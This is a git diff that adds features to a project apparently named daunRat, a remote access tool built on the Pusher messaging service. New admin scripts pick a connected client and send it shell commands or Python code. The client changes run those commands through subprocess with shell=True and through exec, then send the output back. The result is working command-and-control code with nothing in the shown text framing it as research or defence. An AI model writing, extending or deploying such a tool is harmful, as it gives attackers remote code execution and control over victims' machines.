diff --git a/.gitignore b/.gitignore index b293c3b..842abbb 100644 --- a/.gitignore +++ b/.gitignore @@ -2,4 +2,5 @@ /build/ *.spec /.idea/ +/tests/ env.py \ No newline at end of file diff --git a/admin/admin_simulator/receive_logs.py b/admin/admin_simulator/receive_logs.py new file mode 100644 index 0000000..d2a2d45 --- /dev/null +++ b/admin/admin_simulator/receive_logs.py @@ -0,0 +1,38 @@ +from env import * +import pusher +import pysher +import sys + + +client = pusher.Pusher( + app_id=app_id, + key=key, + secret=secret, + cluster=cluster, + ssl=True +) +receiver = pysher.Pusher(key=key, cluster=cluster) + + +def on_logs(data): + print("Logs: " + data) + + +def handle_connection_to_server(connection): + print("Connected to server") + print("Server returned: " + str(connection)) + print("Available client IDs: " + + str(list(client.channels_info(prefix_filter='admin-')['channels'])) + .replace('admin-', '').replace('[', '').replace(']', '').replace("'", '')) + client_id = int(input("Enter id to connect: ")) + client.trigger('admin-' + str(client_id), 'connection_from_admin', None) + print("Sent connection message to client") + log_channel = receiver.subscribe('client-' + str(client_id)) + log_channel.bind('logs', on_logs) + + +if __name__ == '__main__': + receiver.connection.bind('pusher:connection_established', handle_connection_to_server) + receiver.connect() + while True: + pass diff --git a/admin/admin_simulator/send_command.py b/admin/admin_simulator/send_command.py new file mode 100644 index 0000000..a78acea --- /dev/null +++ b/admin/admin_simulator/send_command.py @@ -0,0 +1,35 @@ +from env import * +import pusher +import pysher +import sys + + +client = pusher.Pusher( + app_id=app_id, + key=key, + secret=secret, + cluster=cluster, + ssl=True +) +receiver = pysher.Pusher(key=key, cluster=cluster) + + +def handle_connection_to_server(connection): + print("Connected to server") + print("Server returned: " + str(connection)) + print("Available client IDs: " + + str(list(client.channels_info(prefix_filter='admin-')['channels'])) + .replace('admin-', '').replace('[', '').replace(']', '').replace("'", '')) + client_id = int(input("Enter id to connect: ")) + client.trigger('admin-' + str(client_id), 'connection_from_admin', None) + print("Sent connection message to client") + while True: + client.trigger('admin-' + str(client_id), 'command', input("Enter shell command: ")) + print("Sent shell command to client") + + +if __name__ == '__main__': + receiver.connection.bind('pusher:connection_established', handle_connection_to_server) + receiver.connect() + while True: + pass diff --git a/admin/admin_simulator/send_python.py b/admin/admin_simulator/send_python.py new file mode 100644 index 0000000..aefc4d6 --- /dev/null +++ b/admin/admin_simulator/send_python.py @@ -0,0 +1,35 @@ +from env import * +import pusher +import pysher +import sys + + +client = pusher.Pusher( + app_id=app_id, + key=key, + secret=secret, + cluster=cluster, + ssl=True +) +receiver = pysher.Pusher(key=key, cluster=cluster) + + +def handle_connection_to_server(connection): + print("Connected to server") + print("Server returned: " + str(connection)) + print("Available client IDs: " + + str(list(client.channels_info(prefix_filter='admin-')['channels'])) + .replace('admin-', '').replace('[', '').replace(']', '').replace("'", '')) + client_id = int(input("Enter id to connect: ")) + client.trigger('admin-' + str(client_id), 'connection_from_admin', None) + print("Sent connection message to client") + while True: + client.trigger('admin-' + str(client_id), 'python', input("Enter python code: ")) + print("Sent python code to client") + + +if __name__ == '__main__': + receiver.connection.bind('pusher:connection_established', handle_connection_to_server) + receiver.connect() + while True: + pass diff --git a/client/daunRat.py b/client/daunRat.py index c26566e..8e0adcf 100644 --- a/client/daunRat.py +++ b/client/daunRat.py @@ -1,12 +1,13 @@ from env import * import pusher import pysher -import json +import io +from contextlib import redirect_stdout +import subprocess client_id = int() - client = pusher.Pusher( app_id=app_id, key=key, @@ -17,6 +18,34 @@ client = pusher.Pusher( receiver = pysher.Pusher(key=key, cluster=cluster) +def on_command(data): + global client_id + print("Shell command received") + try: + shell_logs = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, + close_fds=True, text=True).communicate() + except Exception as e: + shell_logs = str(e) + client.trigger('client-' + str(client_id), 'logs', shell_logs) + print("Shell logs sent on client-" + str(client_id)) + print("Shell logs: " + shell_logs) + + +def on_python(data): + global client_id + print("Python code received") + f = io.StringIO() + with redirect_stdout(f): + try: + exec(data) + except Exception as e: + print(e) + python_logs = f.getvalue().strip() + client.trigger('client-' + str(client_id), 'logs', python_logs) + print("Python logs sent on client-" + str(client_id)) + print(python_logs) + + def handle_connection_to_server(connection): global client_id print("Connected to server") @@ -28,6 +57,8 @@ def handle_connection_to_server(connection): channel = receiver.subscribe('admin-' + client_id) print("Client id: " + client_id) channel.bind('connection_from_admin', lambda _: print("Connection from admin")) + channel.bind('command', on_command) + channel.bind('python', on_python) if __name__ == '__main__':